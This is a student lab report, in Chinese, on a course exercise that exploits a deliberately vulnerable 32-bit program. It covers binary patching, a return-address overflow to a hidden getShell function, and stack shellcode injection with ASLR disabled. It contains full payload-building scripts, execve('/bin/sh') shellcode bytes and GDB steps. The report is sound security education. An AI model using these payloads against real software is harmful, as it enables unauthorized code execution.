20253912 2025-2026-2 《网络攻防实践》第九次作业报告
20253912 2025-2026-2 《网络攻防实践》第九次作业报告
1. 实践内容与知识梳理总结
1.1 本次实践目标
本次实践对象是一个名为 pwn1 的 Linux 可执行文件。该程序的正常执行流程为:main 函数调用 foo 函数,foo 函数读取用户输入并简单回显输入内容。与此同时,程序中还包含一个正常流程下不会被调用的 getShell 函数,该函数一旦被执行,就可以返回一个可用 Shell。
本次实验的核心目标不是“运行程序得到回显”,而是通过二进制分析和漏洞利用改变程序控制流,使程序执行到原本不会执行的目标代码。实验内容主要包括三部分:
- 手工修改可执行文件:直接修改机器指令,把
main中原本调用foo的指令改为调用getShell; - 利用 BOF 覆盖返回地址:构造攻击输入字符串,利用
foo()中gets()造成的栈溢出覆盖返回地址,使程序返回到getShell; - 注入自制 shellcode:将 shellcode 放入输入数据中,再让程序跳转到栈上执行这段机器码。
从难度上看,三部分是逐步递进的:第一部分是“修改已有指令”,第二部分是“利用已有函数”,第三部分是“执行自己注入的代码”。它们共同体现了 pwn 实验中最基础也最重要的思想:程序执行流本质上由指令地址控制,只要能控制跳转地址,就能改变程序行为。
1.2 ELF 文件与反汇编分析
Linux 下的可执行文件通常采用 ELF(Executable and Linkable Format)格式。ELF 文件中包含程序头、节区、代码段、数据段、动态链接信息等内容。对 pwn 程序进行分析时,首先要判断文件架构,例如本次程序为 elf32-i386,说明其是 32 位 x86 程序。
在实验中常用如下命令进行反汇编:
objdump -d pwn20253912zgy | more
objdump -d 的作用是把机器码反汇编为汇编指令,帮助我们定位 main、foo、getShell 等关键函数。这里需要注意,反汇编不是还原 C 源码,而是从机器指令层面观察程序逻辑。对本实验来说,反汇编的重点不在于看懂所有函数,而是找到以下几个关键位置:
| 关键位置 | 作用 | 本次实验中的意义 |
|---|---|---|
main |
程序主入口 | 判断正常调用流程,找到 call foo 指令 |
foo |
输入与回显函数 | 定位 gets() 输入点和栈溢出漏洞 |
getShell |
隐藏目标函数 | 作为任务一和任务二的跳转目标 |
gets@plt |
不安全输入函数 | 不检查输入长度,是 BOF 的根源 |
system@plt |
系统命令执行函数 | 说明程序具备返回 Shell 的能力 |
1.3 x86 指令、机器码与相对偏移
本次实验要求掌握 NOP、JNE、JE、JMP、CMP 等常见汇编指令的机器码。它们在二进制修改和 shellcode 构造中都非常重要。
| 汇编指令 | 常见机器码 | 作用说明 |
|---|---|---|
NOP |
90 |
空操作指令,不改变寄存器和内存状态,常用于 NOP sled |
JMP short |
EB xx |
短距离无条件跳转,xx 为 1 字节相对偏移 |
JMP near |
E9 xx xx xx xx |
近跳转,使用 4 字节相对偏移 |
CALL near |
E8 xx xx xx xx |
函数调用,后 4 字节为相对偏移 |
JE/JZ |
74 xx 或 0F 84 xx xx xx xx |
当零标志位 ZF=1 时跳转 |
JNE/JNZ |
75 xx 或 0F 85 xx xx xx xx |
当零标志位 ZF=0 时跳转 |
CMP |
取决于操作数,如 83 /7 ib、39 /r 等 |
比较两个操作数,只影响标志位,不保存结果 |
任务一中修改的是 call rel32 指令。需要特别注意的是,call 后面的 4 字节并不是目标函数的绝对地址,而是“目标地址相对于下一条指令地址的偏移量”。本实验中原始指令为:
e8 d7 ff ff ff call 8048491 <foo>
如果要改成调用 getShell,需要重新计算相对偏移:
目标地址 getShell = 0x0804847d
call 下一条指令地址 = 0x080484ba
相对偏移 = 0x0804847d - 0x080484ba = -0x3d = 0xffffffc3
小端序写入 = c3 ff ff ff
因此修改后的机器码为:
e8 c3 ff ff ff
这一步体现了二进制补丁的关键:不是简单替换函数名,而是在机器码层面修改 CPU 实际执行的跳转目标。
1.4 栈帧、返回地址与 BOF 漏洞
在 32 位 x86 程序中,函数调用通常会建立栈帧。ebp 用于定位当前函数栈帧,esp 指向栈顶。函数执行完毕时,ret 指令会从栈顶取出 4 字节作为新的 eip,程序随后跳转到该地址继续执行。
本次实验中 foo() 函数的关键代码如下:
lea -0x1c(%ebp), %eax
call gets@plt
这说明 gets() 的输入缓冲区起始位置为 ebp - 0x1c。由于 0x1c = 28,再加上 saved ebp 占 4 字节,因此从缓冲区起始位置到返回地址的偏移为:
0x1c + 4 = 28 + 4 = 32 字节
所以任务二中的 payload 可以设计为:
32 字节填充 + getShell 地址
getShell 地址为 0x0804847d,在小端序中应写成:
\x7d\x84\x04\x08
这一步让我理解到,栈溢出不是单纯让程序崩溃,而是通过精确覆盖返回地址,让 CPU 在函数返回时执行我们指定的地址。
1.5 Shellcode、NOP sled、ASLR 与 NX
Shellcode 是可以直接被 CPU 执行的一段机器码。本次实验中使用的 shellcode 主要功能是触发 32 位 Linux 的 execve("/bin/sh") 系统调用,从而获得 Shell。与任务二不同,任务二跳转到程序已有的 getShell,而任务三是把代码本身注入到输入中。
任务三的 payload 结构为:
32 字节填充 + 栈地址 + NOP sled + shellcode
其中,NOP sled 由大量 0x90 组成。它的作用是提高地址容错率:只要返回地址落在 NOP 区域内,CPU 就会一路执行空操作,最终滑到真正的 shellcode。实验中如果看到栈中连续出现 0x90909090,就说明 NOP 区域已经成功写入。
同时,shellcode 注入还受到两类保护机制影响:
- ASLR:地址空间随机化会导致栈地址每次变化,因此实验中需要通过
kernel.randomize_va_space=0关闭; - NX:不可执行栈会阻止 CPU 执行栈上的代码,因此需要用
checksec或readelf检查栈是否可执行。
本实验中,通过 GDB 观察到返回地址被覆盖到栈上 NOP 区域,并继续执行后出现 /usr/bin/dash,说明 shellcode 已成功触发 /bin/sh。
1.6 本次实验与前几次作业的联系
本次第九次作业虽然主题是 pwn 与二进制漏洞利用,但并不是孤立内容,而是建立在前面多次网络攻防实践的基础之上。
(1)与第二次作业的联系:从信息收集到二进制识别
第二次作业重点是信息收集与服务识别。本次实验同样需要先识别目标,只不过对象从网络主机变成了本地 ELF 文件。file、objdump、函数地址定位,本质上都是“先弄清目标是什么、关键入口在哪里”。
(2)与第三次作业的联系:从流量分析到执行流分析
第三次作业训练的是抓包和协议字段分析,本次实验训练的是汇编指令和栈帧分析。两者都要求从大量底层信息中找关键证据:协议分析看字段和会话,pwn 分析看地址、指令、寄存器和栈内容。
(3)与第四次作业的联系:从协议缺陷到程序缺陷
第四次作业强调 ARP、ICMP、TCP 等协议设计缺陷可能被利用。本次实验则体现程序实现缺陷也能导致安全问题。gets() 不检查输入长度,就像协议缺少认证一样,都会成为攻击入口。
(4)与第五次作业的联系:从防御设备到系统保护机制
第五次作业涉及防火墙、IDS 与蜜网防御。本次实验中的 ASLR、NX、栈权限检查可以看作主机层面的防御机制。它们不像防火墙那样过滤网络流量,而是直接限制程序控制流劫持和栈上代码执行。
(5)与第六次作业的联系:从漏洞利用结果到漏洞利用机理
第六次作业更偏向 Windows 远程漏洞利用与取证复盘。本次实验则深入到漏洞利用的底层机制:为什么返回地址能被覆盖、为什么跳转地址要小端序、为什么 ret 会改变 eip。这让前面“拿到 Shell”的过程变得更容易理解。
(6)与第七次作业的联系:从 Samba 利用到控制流劫持
第七次作业使用 Metasploit 对 Linux Samba 漏洞进行利用。本次实验没有依赖框架,而是手工构造 payload。两者目标都是改变目标程序行为,但第九次作业更强调底层原理和手工验证。
(7)与第八次作业的联系:从逆向分析到漏洞利用
第八次作业涉及恶意代码逆向和 Crackme 分析,第九次作业直接延续了反汇编、字符串、函数调用和控制流判断能力。第八次更像“读懂程序”,第九次则是在读懂程序后进一步“改变程序执行路径”。
知识拓扑图:

2. 实践过程
2.1 实验环境准备与程序初步分析
2.1.1 实验要求
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.1.2 实验过程展示
在本次实验中需要用到实验环境为kali虚拟机。
首先,在学习通下载本次实验所需的文件资料pwn1:

在拖移到桌面解压:

修改kali主机的名称为名字Zhanggaoyi
通过使用以下命令修改虚拟机名称,修改完成后重新打开终端:
sudo su //打开root终端
hostname //查询终端名字
hostname Zhanggaoyi //更改终端名称
hostname //再次查询验证是否更改
这里需要注意的是更改主机名需要打开root终端进行操作!
重启虚拟机终端查看,发现更改成功:

查看kali桌面从学习通下载的pwn1文件,并使用以下命令修改pwn1文件名,使得包含自己学号+名字缩写:
ls //查询
cd Desktop //跳转到桌面文件
ls //查询
mv pwn1 pwn20253912zgy //更改名称
ls //查看文件验证是否修改成功

使用以下命令对pwn文件进行反编译,并利用管道进行分页显示:
objdump -d pwn20253912zgy | more

使用
objdump初步查看 ELF 程序的反汇编结构,后续需要重点定位main、foo和getShell。

PLT 表中出现
gets@plt、puts@plt、system@plt,分别对应输入、输出和系统命令执行能力。
按住回车键,可以往下翻页并继续查看反编译内容。
可以看到main主函数。

定位到
main函数,是分析程序正常调用链main -> foo的关键位置。
最后部分为<fini>:

该文件展示的是一个典型的 32 位 ELF 栈溢出程序。程序主函数调用 foo(),而 foo() 中使用了不安全的 gets() 函数读取用户输入,导致输入长度超过局部缓冲区后可以覆盖函数返回地址。程序中还存在一个未被正常调用的 getShell() 函数,该函数内部调用 system(),因此攻击者可以通过构造溢出数据,将 foo() 的返回地址覆盖为 getShell() 的地址,从而改变程序控制流。该题的关键分析点是确定缓冲区位置、计算返回地址偏移,以及找到可利用的目标函数地址。
1. 文件基本信息
文件开头显示:

文件格式为
elf32-i386,说明该程序是 32 位 x86 Linux 可执行文件。
pwn20253912zgy: file format elf32-i386
说明该程序是 32 位 i386 架构 ELF 文件,运行环境应为 Linux 32 位或兼容环境。
程序中 PLT 表包含几个关键函数:
08048330 <gets@plt>
08048340 <puts@plt>
08048350 <system@plt>
其中最重要的是 gets 和 system。gets() 是典型不安全输入函数,不检查输入长度;system() 则说明程序中存在调用系统命令的能力。
2. 程序核心流程
程序入口最终会调用 main,而 main 的逻辑非常简单:

main中的call 8048491 <foo>说明程序正常流程会进入foo()。
080484af <main>:
80484b5: e8 d7 ff ff ff call 8048491 <foo>
也就是说,程序运行后会直接进入 foo() 函数。
foo() 的关键代码如下:

foo()中同时出现gets()和puts(),其中gets()是后续栈溢出的核心风险点。
08048491 <foo>:
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret
可以还原成类似 C 代码:
void foo() {
char buf[28];
gets(buf);
puts(buf);
}
这里的核心问题是:buf 位于 ebp - 0x1c,也就是距离保存的 ebp 有 0x1c = 28 字节,而 gets() 不限制输入长度,因此输入超过缓冲区后,就会覆盖保存的 ebp 和函数返回地址。
3. 隐藏函数 getShell
程序中存在一个非常关键的函数:

getShell()内部调用system@plt,是本次实验希望通过控制流劫持触发的目标函数。
0804847d <getShell>:
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
这个函数会调用:
system(0x8048560)
虽然当前反汇编片段没有展示 .rodata 区域内容,但从函数名 getShell 和 system() 调用方式来看,0x8048560 处很可能保存的是类似 /bin/sh 的字符串。也就是说,只要能让程序执行流跳转到 0x0804847d,就可能触发 shell。
4. 漏洞点分析
漏洞点在 foo() 函数中的 gets():

gets@plt不检查输入长度,因此输入超过缓冲区后可能覆盖 saved EBP 和返回地址。
804849d: call 8048330 <gets@plt>
gets() 会一直读取用户输入,直到遇到换行符,但它不知道目标缓冲区大小。所以如果输入内容超过 buf 的空间,就会覆盖栈上的内容。
buf 起始位置:ebp - 0x1c
↓ 28 字节
保存的 ebp
↓ 4 字节
返回地址
因此,从 buf 开始到返回地址的偏移为:
0x1c + 4 = 28 + 4 = 32 字节
也就是说,前 32 字节用于填充,接下来的 4 字节会覆盖返回地址。
关键地址为:
getShell 地址:0x0804847d
溢出偏移:32 字节
payload 结构可以表示为:
填充 32 字节 + getShell 函数地址
由于是 32 位小端序,0x0804847d 在内存中应按小端方式写入。
原始指令位于:
0x080484b5
call 指令长度是 5 字节,所以下一条指令地址是:
0x080484ba
目标地址是:
0x0804847d
所以相对偏移为:
0x0804847d - 0x080484ba = -0x3d
转换为 32 位补码:
0xffffffc3
小端序写入:
c3 ff ff ff
因此新的机器码为:
e8 c3 ff ff ff
原来的机器码是:
e8 d7 ff ff ff
只需要把 d7 改成 c3 即可:
2.2 实践任务一:手工修改可执行文件,让程序直接跳到 getShell
先复制一下文件以防万一:


1.查看原始 call 指令机器码
xxd -g 1 -s 0x4b5 -l 5 pwn1_patch

原始机器码为
e8 d7 ff ff ff,对应call foo,是手工补丁需要修改的位置。
其中:
e8 d7 ff ff ff
就是原来的 call foo
2.修改机器码
printf '\xe8\xc3\xff\xff\xff' | dd of=pwn1_patch bs=1 seek=$((0x4b5)) conv=notrunc

通过
dd写入e8 c3 ff ff ff,将调用目标由foo改为getShell。
3.验证是否成功
xxd -g 1 -s 0x4b5 -l 5 pwn1

再次查看偏移处机器码,确认
d7已改为c3,二进制补丁生效。
这说明已经把 call foo 改成了 call getShell
5.运行修改后的程序
chmod +x pwn1
echo 'id; whoami; exit' | ./pwn1

运行修改后的程序并执行
id、whoami,说明程序已经直接进入getShell()返回的 Shell。
这说明程序已经直接执行了 getShell(),并进入了 /bin/sh
同时也可以进入pwn1文件中进行交互:

交互式命令能够正常执行,进一步验证任务一控制流修改成功。
执行 id、whoami,说明 shell 成功
再次执行进入
objdump -d pwn1 | more

再次反汇编可确认调用目标已经从
foo变为getShell。
成功覆盖!!!
2.3 实践任务二:利用 BOF 覆盖返回地址,触发 getShell
(cat payload_ret2win; echo 'id; whoami; exit') | ./pwn1
构造输入,让 foo() 返回时跳到 getShell()
根据反汇编:
buf 起始位置:ebp - 0x1c
0x1c = 28 字节
saved ebp = 4 字节
所以覆盖返回地址需要:
28 + 4 = 32 字节
getShell 地址:
0x0804847d
32 位小端序写法:
\x7d\x84\x04\x08
payload 结构:
"A" * 32 + "\x7d\x84\x04\x08"
1.生成 payload 文件
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*32 + b"\x7d\x84\x04\x08")' > payload_ret2win

生成 ret2win payload:前 32 字节用于填充,后 4 字节用于覆盖返回地址。
2.查看文件:
xxd payload_ret2win

payload 末尾为
7d 84 04 08,即getShell地址0x0804847d的小端序。
3.运行 payload
(cat payload_ret2win; echo 'id; whoami; exit') | ./pwn20253912zgy

第一次运行 payload 出现段错误,提示需要检查换行、输入保持以及返回后的控制流。
4.用 GDB 验证返回地址是否被覆盖
gdb -q ./pwn20253912zgy
发现没有下载GDB,进行下载

5.更新apt:

6.下载gdb:

查看gdb版本:

7.进入gdb
gdb -q ./pwn20253912zgy

8.在 foo 的 ret 指令下断点
根据反汇编,foo() 末尾:
80484ad: leave
80484ae: ret
所以断点设在 0x080484ae:
b *0x080484ae

在
0x080484ae处设置断点,用于观察foo()执行ret前的栈顶返回地址。
9.使用 payload 运行程序
run < payload_ret2win

使用 payload 在 GDB 中运行程序,使程序停在返回前,便于检查返回地址是否被覆盖。
10.查看栈顶返回地址
x/8wx $esp

查看
$esp,重点确认栈顶是否已经变成0x0804847d。
11.单步执行 ret,查看是否跳到 getShell
si
x/i $eip

此时仍需区分“停在 ret 前”和“执行 ret 后”,不能只凭
$eip立即判断失败。
出现了问题:未找到
单独实行命令:
x/i $eip

$eip仍位于foo+29: ret,说明当前只是停在返回指令前。
与标准不相符,应该为
0x804847d <getShell>: push %ebp
先运行:
si
再运行:
x/i $eip

先执行
si再查看$eip,可以看到程序跳转到getShell,证明返回地址覆盖成功。
得到预期结果!!!
这就证明程序执行流已经被 payload 改到了 getShell()。
退出 GDB:
q

2.4 实践任务三:注入 shellcode 并运行
1.关闭 ASLR
sudo sysctl -w kernel.randomize_va_space=0

关闭 ASLR,使栈地址更稳定,便于后续 shellcode 注入实验。
查看状态:
cat /proc/sys/kernel/randomize_va_space

randomize_va_space为0,说明地址随机化已关闭。
最后输出是 0,说明地址随机化关闭成功。
2.查看 NX 保护
安装工具:
sudo apt update
sudo apt install -y checksec

查看保护:
checksec --file=./pwn20253912zgy

checksec结果用于判断 NX、PIE 等保护状态,影响 shellcode 能否在栈上执行。
3.用 GDB 找 shellcode 跳转地址
这里选择让返回地址跳到 ret 后面的栈位置,即:
$ebp + 8
输入指令:
SCADDR=$(gdb -q ./pwn20253912zgy \
-ex 'set confirm off' \
-ex 'b *0x0804849d' \
-ex 'run' \
-ex 'p/x $ebp+8' \
-ex 'quit' 2>/dev/null | awk '/\$1 =/{print $3}')
echo $SCADDR
输出地址0xffffcf30

通过 GDB 获取
$ebp+8处的栈地址,并将其作为 shellcode payload 的返回地址依据。
4.生成 shellcode payload
确认刚才的变量存在:
echo $SCADDR

执行:
export SCADDR
python3 - << 'PY'
import os, struct
scaddr = int(os.environ["SCADDR"], 16)
shellcode = (
b"\x31\xc0"
b"\x50"
b"\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e"
b"\x89\xe3"
b"\x50"
b"\x53"
b"\x89\xe1"
b"\x99"
b"\xb0\x0b"
b"\xcd\x80"
)
payload = b"A"*32
payload += struct.pack("<I", scaddr)
payload += b"\x90"*200
payload += shellcode
payload += b"\n"
open("payload_shellcode", "wb").write(payload)
print("shellcode address =", hex(scaddr))
print("payload length =", len(payload))
PY

生成 shellcode payload,结构为:32 字节填充 + 栈地址 + NOP sled + shellcode。
查看 payload:
xxd payload_shellcode | head

十六进制结果中可见连续
90,说明 NOP sled 已写入 payload。
5.运行 shellcode payload
(cat payload_shellcode; echo 'id'; echo 'whoami'; echo 'pwd'; echo 'exit') | ./pwn20253912zgy

普通终端直接运行失败,说明 GDB 环境和普通运行环境中的栈地址可能存在差异。
与预期不符。
分析原因:GDB 中看到的栈地址,和普通终端直接运行时的栈地址可能不一样。
也就是说, GDB 得到的 SCADDR 可能是:0xffffxxxx
但程序真实运行时,shellcode 不一定还在这个位置。于是返回地址跳偏了,就出现了 illegal hardware instruction。
先关闭ASLR:
sudo sysctl -w kernel.randomize_va_space=0
cat /proc/sys/kernel/randomize_va_space

进入 GDB 获取地址
gdb -q ./pwn20253912zgy
输入:
b *0x0804849d
run
p/x $ebp+8
q
得到输出地址$1 = 0xffffcf10

在 GDB 中重新获取更准确的栈地址
0xffffcf10,用于重新构造 shellcode payload。
用这个地址重新生成 payload
python3 - << 'PY'
import struct
scaddr = 0xffffcf10
shellcode = (
b"\x31\xc0"
b"\x50"
b"\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e"
b"\x89\xe3"
b"\x50"
b"\x53"
b"\x89\xe1"
b"\x99"
b"\xb0\x0b"
b"\xcd\x80"
)
payload = b"A"*32
payload += struct.pack("<I", scaddr)
payload += b"\x90"*300
payload += shellcode
payload += b"\n"
open("payload_shellcode", "wb").write(payload)
print("shellcode address =", hex(scaddr))
print("payload length =", len(payload))
PY
得到:

根据新的栈地址重新生成 payload,并增加 NOP sled 提高跳转容错率。
查看:
xxd payload_shellcode | head

重新查看 payload,可确认 NOP sled 和 shellcode 已经写入。
在 GDB 中运行 payload
gdb -q ./pwn20253912zgy
输入:
run < payload_shellcode

GDB 中出现
/usr/bin/dash,说明 shellcode 已成功触发/bin/sh。
成功迹象:
process 355062 is executing new program: /usr/bin/dash
说明shellcode 已经触发了 execve("/bin/sh"),而 Kali 里的 /bin/sh 通常链接到 /usr/bin/dash,shellcode 已经执行成功了。
继续运行:
b *0x080484ae
run < payload_shellcode

进入 dash 后继续使用原程序断点会报错,因为当前调试对象已经不再是 pwn 程序。
出现了警告!
于是退出 GDB,重新加载 pwn 程序

重新进入GDB
gdb -q ./pwn20253912zgy
进入 GDB 后,先确认加载的是 pwn 程序:
info files

小总结:
在 GDB 中运行 payload_shellcode 后,程序输出输入缓冲区内容,随后出现 process is executing new program: /usr/bin/dash。由于本实验 shellcode 的功能是执行 /bin/sh,而 Kali 中 /bin/sh 通常链接到 /usr/bin/dash,因此该现象说明 shellcode 已经被成功执行,程序控制流已经从原程序跳转到注入的 shellcode。
进入 GDB 后运行:
delete breakpoints
b *0x080484ae
run < payload_shellcode

重新设置
ret断点并运行 payload,用于验证返回地址是否跳入 shellcode 区域。
然后输入:
x/i $eip

$eip位于foo+29: ret,说明程序停在函数返回前。
这说明程序停在 ret 前
继续看栈顶:
x/12wx $esp

$esp栈顶为栈地址,后面连续出现0x90909090,说明返回地址指向 NOP sled。
继续输入:
si
然后查看当前指令:
x/10i $eip

单步执行后
$eip跳到栈上 NOP 区域,证明控制流已经进入注入的 payload。
说明程序已经从 ret 跳到了栈上的 NOP 滑梯
继续执行:
c

继续执行后进入
/usr/bin/dash,说明 shellcode 已成功触发/bin/sh。
说明 shellcode 成功执行了 /bin/sh,在 Kali 中 /bin/sh 通常链接到 /usr/bin/dash。
小总结:
在 foo() 的 ret 指令前查看 $esp,可以看到栈顶第一个值为 0xffffcf10,这是 payload 覆盖后的返回地址;其后连续出现 0x90909090,说明返回地址指向了 NOP 滑梯区域。该结果证明返回地址已经被成功覆盖,下一步执行 ret 后程序会跳转到栈上的 shellcode 区域。
6.生成带命令的 shellcode 输入文件
回到 Kali 终端执行:
cp payload_shellcode payload_shellcode_cmd
printf 'id\nwhoami\npwd\nexit\n' >> payload_shellcode_cmd
查看文件末尾:
tail -n 5 payload_shellcode_cmd

将
id、whoami、pwd、exit追加到 payload 后,用于验证 Shell 是否能执行命令。
7.用 GDB 运行带命令的 payload
重新进入 GDB:
gdb -q ./pwn20253912zgy
不设断点,直接运行:
run < payload_shellcode_cmd

直接重定向运行时虽然进入 dash,但命令未输出,说明可能存在输入缓冲或 EOF 问题。
这说明shellcode 已经成功触发了 /bin/sh,但 payload_shellcode_cmd 后面追加的命令可能没有成功写进去,或者 shell 启动后没有读到后续命令。
8.先检查命令有没有追加进去
tail -c 80 payload_shellcode_cmd | xxd -g 1

检查 payload 末尾可见
id/whoami/pwd/exit,确认命令已经正确追加。
所以问题不是“命令没追加进去”,而是运行 run < payload_shellcode_cmd 时,程序里的 gets() 可能通过标准输入缓冲机制把后面的命令也提前读走了。等 shellcode 执行 /bin/sh 之后,dash 看到的标准输入已经接近 EOF,所以它直接正常退出,没有执行 id / whoami / pwd
9.用管道延迟输入命令
先回到普通终端里操作:
执行:
(cat payload_shellcode; sleep 1; printf 'id\nwhoami\npwd\nexit\n') | ./pwn20253912zgy

普通管道延迟输入仍失败,说明普通运行环境下的栈地址与 GDB 环境仍可能不一致。
依旧没有uid=1000(kali) gid=1000(kali) groups=... kali /home/kali/Desktop
10.更换策略用GDB+FIFO
因为之前在 GDB 中已经能看到 /usr/bin/dash,所以可以用命名管道让 GDB 运行时也延迟送入命令
先退出当前 GDB,然后在普通终端执行:
rm -f inpipe
mkfifo inpipe

开一个后台写入进程:
(cat payload_shellcode; sleep 1; printf 'id\nwhoami\npwd\nexit\n') > inpipe &

然后进入 GDB:
gdb -q ./pwn20253912zgy
在 GDB 里执行:
run < inpipe

使用 GDB + FIFO 后成功执行
id/whoami/pwd,说明 shellcode 不仅触发 shell,也能执行后续命令。
终于成功!!!
证明 shellcode 执行,也证明 shell 成功执行了命令!!!
3. 学习中遇到的问题及解决
3.1 问题一:payload 运行后只出现回显和段错误,没有真正执行 Shell 命令
问题表现:
在实践任务二中,最开始执行如下命令时:
(cat payload_ret2win; echo 'id; whoami; exit') | ./pwn20253912zgy
终端只回显了大量 A 和后面的命令字符串,随后出现 segmentation fault,但没有看到 uid=...、whoami 等命令结果。
原因分析:
这个问题的关键在于输入流的分界。gets() 会一直读取直到遇到换行符。如果生成的 payload_ret2win 末尾没有加入 \n,那么后面的 id; whoami; exit 可能会被 gets() 一起读入,而不是留给 getShell() 启动后的 Shell 执行。这样虽然程序发生了溢出,但后续命令没有真正交给 Shell。
解决方案:
重新生成带换行符的 payload:
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*32 + b"\x7d\x84\x04\x08" + b"\n")' > payload_ret2win
再使用:
(cat payload_ret2win; echo 'id'; echo 'whoami'; echo 'pwd'; echo 'exit') | ./pwn20253912zgy
同时,在 GDB 中通过 x/8wx $esp 和 si 验证返回地址是否变为 0x0804847d。如果 $esp 栈顶出现 0x0804847d,并且单步后 $eip 跳到 getShell,就说明 BOF 覆盖返回地址成功。
3.2 问题二:shellcode 普通运行失败,GDB 中进入 /usr/bin/dash 后断点失效
问题表现:
在实践任务三中,普通终端直接运行 shellcode payload 时出现:
illegal hardware instruction
broken pipe
而在 GDB 中运行 payload_shellcode 后,出现:
process is executing new program: /usr/bin/dash
但继续设置 b *0x080484ae 时又报错:
Cannot access memory at address 0x80484ae
原因分析:
普通终端和 GDB 环境下的栈地址可能存在差异,即使关闭 ASLR,输入环境和进程启动方式也会影响栈布局。因此,用 GDB 获取的 SCADDR 在普通运行时可能发生偏移,导致返回地址没有准确落入 NOP sled,从而出现非法指令。
另一方面,process is executing new program: /usr/bin/dash 并不是失败,而是成功迹象。因为本实验 shellcode 的目标是执行 /bin/sh,而 Kali 中 /bin/sh 通常链接到 /usr/bin/dash。一旦程序变成 dash,GDB 当前调试对象就不再是原始 pwn 程序,所以原程序中的 0x080484ae 地址在 dash 中不存在,继续下断点就会失败。
解决方案:
首先以 GDB 验证为主,确认以下证据链:
b *0x080484ae
run < payload_shellcode
x/12wx $esp
si
x/10i $eip
c
如果 $esp 第一项是栈地址,后面连续出现 0x90909090,并且 si 后 $eip 跳到 NOP 区域,就说明返回地址已经成功跳到 shellcode 区域。继续执行后出现 /usr/bin/dash,说明 shellcode 执行成功。
若还需要执行 id、whoami、pwd 等命令,可以使用 GDB + FIFO 延迟输入命令:
rm -f inpipe
mkfifo inpipe
(cat payload_shellcode; sleep 1; printf 'id\nwhoami\npwd\nexit\n') > inpipe &
gdb -q ./pwn20253912zgy
在 GDB 中执行:
run < inpipe
最终出现 /usr/bin/dash 且能执行 id/whoami/pwd,即可证明 shellcode 注入和命令执行均成功。
4. 实践总结
通过第九次作业,我对“拿到 Shell”背后的底层原理有了更直观的理解。以前更多是依赖工具或现成命令看到 Shell 出现,而这次通过修改机器码、计算 call 指令相对偏移、构造 payload、覆盖返回地址,我真正看到了程序执行流是如何被一步步改变的。尤其是在 GDB 中观察 $esp、$eip 的变化后,栈溢出不再只是一个概念,而是变成了可以在内存和寄存器中清楚看到的过程。
这次实验也让我认识到,pwn 实验不能只看最终结果,还要理解每个异常背后的原因。比如 shellcode 注入过程中涉及 ASLR、NX、NOP sled、栈地址偏移等问题,普通运行和 GDB 环境也可能导致结果不同。总体来说,这次作业让我从“会照着命令跑”进一步转向“能解释为什么这样跑”,也让我对二进制程序、栈结构和漏洞利用有了更深的认识。
参考资料
- 《网络攻防实践》课程实验材料:pwn1 栈溢出实验
- Linux
objdump、gdb、xxd、readelf命令帮助文档 - x86 汇编基础:函数调用、栈帧、
call、ret、小端序与相对偏移 - 32 位 Linux Shellcode 基础:
execve("/bin/sh")与int 0x80



浙公网安备 33010602011771号